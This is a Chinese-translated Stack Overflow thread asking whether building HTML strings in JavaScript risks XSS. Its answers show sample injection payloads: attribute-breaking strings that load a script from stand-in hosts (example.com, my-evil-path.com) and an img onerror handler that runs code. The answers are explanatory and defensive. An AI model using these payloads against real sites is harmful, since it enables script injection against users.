首页
学习
活动
专区
工具
TVP
发布
社区首页 >问答首页 >在Javascript中构建HTML字符串真的不安全吗?

在Javascript中构建HTML字符串真的不安全吗?
EN

Stack Overflow用户
提问于 2014-11-18 17:35:26
回答 4查看 4.9K关注 0票数 47

托管我们网站的公司在部署之前审查了我们的代码--他们最近告诉我们:

XSS字符串永远不应该被直接操作,因为这会给我们带来潜在的

漏洞。相反,始终使用DOM创建的elements...that可以是jQuery或直接的DOM。

例如,而不是

代码语言:javascript
复制
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

他们让我们去做

代码语言:javascript
复制
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

这是真的吗?谁能给我们举一个XSS攻击的例子,它可以利用像第一个一样的HTML字符串?

EN

回答 4

Stack Overflow用户

回答已采纳

发布于 2014-11-18 17:40:56

如果以某种方式修改了this.au,它可能包含以下内容:

代码语言:javascript
复制
"><script src="http://example.com/evilScript.js"></script><span class="

这会弄乱你的HTML并注入一个脚本:

代码语言:javascript
复制
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

如果使用DOM操作来设置src属性,脚本(或您使用的任何其他XSS )将不会被执行,因为它将被DOM正确地转义。

对于一些评论员说如果有人可以修改this.au,他们肯定可以自己运行脚本:我不知道this.au是从哪里来的,也不是特别相关。它可能是来自数据库的值,并且数据库可能已被破坏。这也可能是恶意用户试图为其他用户搞砸事情。它甚至可能是一个无辜的非技术人员,他们没有意识到编写"def" > "abc"会毁掉一些东西。

还有一件事。在您提供的代码中,var quizAuLink = $( 'a' );不会创建新的<a>元素。它只会选择所有现有的。您需要使用var quizAuLink = $( '<a>' );来创建一个新的。

票数 66
EN

Stack Overflow用户

发布于 2014-11-18 21:03:05

这应该是安全的,而不会对可读性造成太大的影响:

代码语言:javascript
复制
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

关键是要避免使用字符串操作来构建HTML字符串。请注意,在上面的代码中,我只使用了$()来解析一个常量字符串,这个常量字符串会解析成一个众所周知的结果。在本例中,只有this.au部件是危险的,因为它可能包含动态计算的值。

票数 14
EN

Stack Overflow用户

发布于 2014-11-18 17:46:19

由于您不能使用.innerHTML在现代浏览器中注入脚本标记,因此您需要侦听一个事件:

如果以某种方式修改了this.au,它可能包含以下内容:

代码语言:javascript
复制
"><img src="broken-path.png" onerror="alert('my injection');"><span class="

这会弄乱你的HTML并注入一个脚本:

代码语言:javascript
复制
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

当然也要运行更大的JavaScript set onerror来:

代码语言:javascript
复制
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

感谢Scimoster的样板

票数 12
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/26990899

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档